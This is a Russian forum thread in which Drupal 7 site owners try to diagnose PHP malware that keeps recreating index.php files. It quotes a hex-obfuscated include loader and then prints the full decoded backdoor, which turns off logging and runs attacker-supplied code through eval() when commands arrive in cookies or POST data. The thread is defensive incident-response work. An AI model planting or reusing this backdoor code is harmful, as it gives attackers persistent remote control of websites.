Drupal 7 и вредоносные index.php

Тема в разделе "Drupal", создана пользователем DarthOlolo, 10 май 2018.

Информация :
Прежде чем создать новую тему внимательно ознакомьтесь с правилами раздела
Модераторы: DMS
  1. DarthOlolo

    DarthOlolo Создатель

    Регистр.:
    25 авг 2017
    Сообщения:
    24
    Симпатии:
    2
    Добрый день, подскажите пожалуйста, сталкивался ли кто-нибудь с подобной проблемой - имеется несколько сайтов на drupal 7, на разных хостингах, сайты настроенные под каталог товаров, приблизительно месяц назад на сайтах лежащих на beget появилось предупреждение, что в директории сайта имеются вредоносные файлы, просмотрев отчет ai-bolit увидели, что в большинстве папок создаются файлы index.php с примерно следующим содержанием
    Код:
    <?php
    /*538be*/
    
    @include "\x2fh\x6fm\x65/\x78/\x783\x380\x393\x39s\x2fp\x72i\x62o\x72p\x6fs\x74a\x76k\x61.\x72u\x2fp\x75b\x6ci\x63_\x68t\x6dl\x2fs\x69t\x65s\x2fa\x6cl\x2fl\x69b\x72a\x72i\x65s\x2f.\x324\x337\x39a\x347\x2ei\x63o";
    
    /*538be*/
    во всех разные вариации того, что в кавычках инклуда, но везде идет подключение это. Удаляли все эти файлы, обновили ядро, до 7.59, однако индексы продолжают создаваться. Помимо этого, на некоторых сайтах подобная вставка была и в index.php который лежит в корне сайта.
    Подскажите, кто сталкивался с подобным явлением?
     
  2. prefer

    prefer

    Регистр.:
    12 май 2016
    Сообщения:
    367
    Симпатии:
    81
    Декодировал строку в include
    получилось "/home/x/x380939s/priborpostavka.ru/public_html/sites/all/libraries/.24379a47.ico"
     
    DarthOlolo нравится это.
  3. DarthOlolo

    DarthOlolo Создатель

    Регистр.:
    25 авг 2017
    Сообщения:
    24
    Симпатии:
    2
    Подскажите пожалуйста с помощью чего декодировали? Файл уже похоже удалили после прошлой зачистки, так как в той директории не нашел никаких ico
     
  4. prefer

    prefer

    Регистр.:
    12 май 2016
    Сообщения:
    367
    Симпатии:
    81
    Декодировал на http://ddecode.com/hexdecoder/
    Имейте ввиду что файл .24379a47.ico "невидимый" так как начинается с точки
     
    DarthOlolo нравится это.
  5. DarthOlolo

    DarthOlolo Создатель

    Регистр.:
    25 авг 2017
    Сообщения:
    24
    Симпатии:
    2
    Спасибо огромное, действительно все index.php отсылаются к одному файлу, не подскажите реально ли узнать что именно создаёт данный файл?
     
  6. prefer

    prefer

    Регистр.:
    12 май 2016
    Сообщения:
    367
    Симпатии:
    81
    Так загляните в файл - пусть вас не смущает расширение
    Это должен быть файл с PHP командами
     
  7. DarthOlolo

    DarthOlolo Создатель

    Регистр.:
    25 авг 2017
    Сообщения:
    24
    Симпатии:
    2
    Заглядывал, там вообще какой то адовый ад, с восьмой строки идут какие то переменные, так понимаю, что тоже закодированные, но тем сервисом который вы сбросили не декодируются.
     

    Вложения:

  8. DarthOlolo

    DarthOlolo Создатель

    Регистр.:
    25 авг 2017
    Сообщения:
    24
    Симпатии:
    2
    Если не ошибаемся, то расшифрованный код получается таким, но в нем честно говоря вообще ничего понять не могу
    Код:
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    
    
    if(!defined("PHP_EOL"))
    {
        define("PHP_EOL", "\n");
    }
    
    if(!defined("DIRECTORY_SEPARATOR"))
    {
        define("DIRECTORY_SEPARATOR", "/");
    }
    
    if (!defined('file_put_contents '))
    {
        define('file_put_contents ', 1);
    
        $tzapquer = 'bbc33289-49f5-4539-8cad-ada588f61d4c';
        global $tzapquer;
    
        function vvayyfn($qyluuqh) {
    
            if (strlen($qyluuqh) < 4)
            {
                return "";
            }
    
            $afsbye = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    
            $ehvobw = str_split($afsbye);
            $ehvobw = array_flip($ehvobw);
    
            $bwugpg = 0;
            $veqpdjf = "";
    
            $qyluuqh = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $qyluuqh);
    
            do {
                $grdhyxeq = $ehvobw[$qyluuqh[$bwugpg++]];
                $yxcfaxai = $ehvobw[$qyluuqh[$bwugpg++]];
                $rxvzzxqe = $ehvobw[$qyluuqh[$bwugpg++]];
                $gpnogtvq = $ehvobw[$qyluuqh[$bwugpg++]];
    
                $tmclyvhb = ($grdhyxeq << 2) | ($yxcfaxai >> 4);
                $bwugpgnnuidzt = (($yxcfaxai & 15) << 4) | ($rxvzzxqe >> 2);
                $mrsfhks = (($rxvzzxqe & 3) << 6) | $gpnogtvq;
                $veqpdjf = $veqpdjf . chr($tmclyvhb);
                if ($rxvzzxqe != 64) {
                    $veqpdjf = $veqpdjf . chr($bwugpgnnuidzt);
                }
                if ($gpnogtvq != 64) {
                    $veqpdjf = $veqpdjf . chr($mrsfhks);
                }
            } while ($bwugpg < strlen($qyluuqh));
            return $veqpdjf;
        }
    
        if (!function_exists('file_put_contents'))
        {
            function file_put_contents($dizsyq, $rdtljrr, $wmrqxuxf = False)
            {
                $qxaizj = $wmrqxuxf == 8 ? 'a' : 'w';
                $rqvpdgp = @fopen($dizsyq, $qxaizj);
                if ($rqvpdgp === False)
                {
                    return 0;
                }
                else
                {
                    if (is_array($rdtljrr)) $rdtljrr = implode($rdtljrr);
                    $rdtljrrhuoqdva = fwrite($rqvpdgp, $rdtljrr);
                    fclose($rqvpdgp);
                    return $rdtljrrhuoqdva;
                }
            }
        }
    
        if (!function_exists('file_get_contents'))
        {
            function file_get_contents($vroramco)
            {
                $axfzsh = fopen($vroramco, "r");
                $rqvpdgpbjjuwe = fread($axfzsh, filesize($vroramco));
                fclose($axfzsh);
    
                return $rqvpdgpbjjuwe;
            }
        }
        function brvbejmy()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
    
        function plxzfkm($bnyqxla, $wsyemyu)
        {
            $zhlvyu = "";
    
            for ($bwugpg=0; $bwugpg<strlen($bnyqxla);)
            {
                for ($jipuxx=0; $jipuxx<strlen($wsyemyu) && $bwugpg<strlen($bnyqxla); $jipuxx++, $bwugpg++)
                {
                    $zhlvyu .= chr(ord($bnyqxla[$bwugpg]) ^ ord($wsyemyu[$jipuxx]));
                }
            }
    
            return $zhlvyu;
        }
    
        function rmayjiv($bnyqxla, $wsyemyu)
        {
            global $tzapquer;
    
            return plxzfkm(plxzfkm($bnyqxla, $wsyemyu), $tzapquer);
        }
        function pqpbevkp($bnyqxla, $wsyemyu)
        {
            global $tzapquer;
    
            return plxzfkm(plxzfkm($bnyqxla, $tzapquer), $wsyemyu);
        }
    
        function jujyue()
        {
            $mpwoeawa = @file_get_contents(brvbejmy());
    
            $wkdnzkc = strpos($mpwoeawa, md5(brvbejmy()));
            if ($wkdnzkc !== FALSE)
            {
                $qvkuitcz = substr($mpwoeawa, $wkdnzkc + 32);
                $vezdbiku = @unserialize(rmayjiv(rawurldecode($qvkuitcz), md5(brvbejmy())));
            }
            else
            {
                $vezdbiku = Array();
            }
    
            return $vezdbiku;
        }
    
        function fahjzwha($vezdbiku)
        {
            $rqvpdgptykas = rawurlencode(pqpbevkp(@serialize($vezdbiku), md5(brvbejmy())));
            $mpwoeawa = @file_get_contents(brvbejmy());
    
            $wkdnzkc = strpos($mpwoeawa, md5(brvbejmy()));
            if ($wkdnzkc !== FALSE)
            {
                $rdtljrrzywfh = substr($mpwoeawa, $wkdnzkc + 32);
                $mpwoeawa = str_replace($rdtljrrzywfh, $rqvpdgptykas, $mpwoeawa);
    
            }
            else
            {
                $mpwoeawa = $mpwoeawa . "\n\n//" . md5(brvbejmy()) . $rqvpdgptykas;
            }
    
            @file_put_contents(brvbejmy(), $mpwoeawa);
        }
    
        function gtfmsg($zlgbvph, $wekzob)
        {
            $vezdbiku = jujyue();
    
            $vezdbiku[$zlgbvph] = vvayyfn($wekzob);
    
            fahjzwha($vezdbiku);
        }
    
        function ueawnwdg($zlgbvph)
        {
            $vezdbiku = jujyue();
    
            unset($vezdbiku[$zlgbvph]);
    
            fahjzwha($vezdbiku);
        }
    
        function mfvqgidg($zlgbvph=NULL)
        {
            foreach (jujyue() as $kcrhbx=>$muhvkbd)
            {
                if ($zlgbvph)
                {
                    if (strcmp($zlgbvph, $kcrhbx) == 0)
                    {
                        eval($muhvkbd);
                        break;
                    }
                }
                else
                {
                    eval($muhvkbd);
                }
            }
        }
    
        foreach (array_merge($_COOKIE, $_POST) as $sdzrvvmw => $bnyqxla)
        {
            $bnyqxla = @unserialize(rmayjiv(vvayyfn($bnyqxla), $sdzrvvmw));
    
            if (isset($bnyqxla['ak']) && $tzapquer==$bnyqxla['ak'])
            {
                if ($bnyqxla['a'] == 'i')
                {
                    $bwugpg = Array(
                        'pv' => @phpversion(),
                        'sv' => '2.0-1',
                        'ak' => $bnyqxla['ak'],
                    );
                    echo @serialize($bwugpg);
                    exit;
                }
                elseif ($bnyqxla['a'] == 'e')
                {
                    eval($bnyqxla['d']);
                }
                elseif ($bnyqxla['a'] == 'plugin')
                {
                    if($bnyqxla['sa'] == 'add')
                    {
                        gtfmsg($bnyqxla['p'], $bnyqxla['d']);
                    }
                    elseif($bnyqxla['sa'] == 'rem')
                    {
                        ueawnwdg($bnyqxla['p']);
                    }
                }
                echo $bnyqxla['ak'];
                exit();
            }
        }
    
        mfvqgidg();
    }
     
  9. prefer

    prefer

    Регистр.:
    12 май 2016
    Сообщения:
    367
    Симпатии:
    81
     
    DarthOlolo нравится это.
  10. dead4nv

    dead4nv Создатель

    Регистр.:
    7 авг 2017
    Сообщения:
    48
    Симпатии:
    7
    позвольте подключится к вашей теме), вот приложил архив с файликом, который обнаружил на друпальном сайте.
    если у кого есть возможность раскодировать, прошу выложить.
    у меня не получилось через разные сервисы раскодировать.
     

    Вложения:

    • hz_file.zip
      Размер файла:
      1,5 КБ
      Просмотров:
      4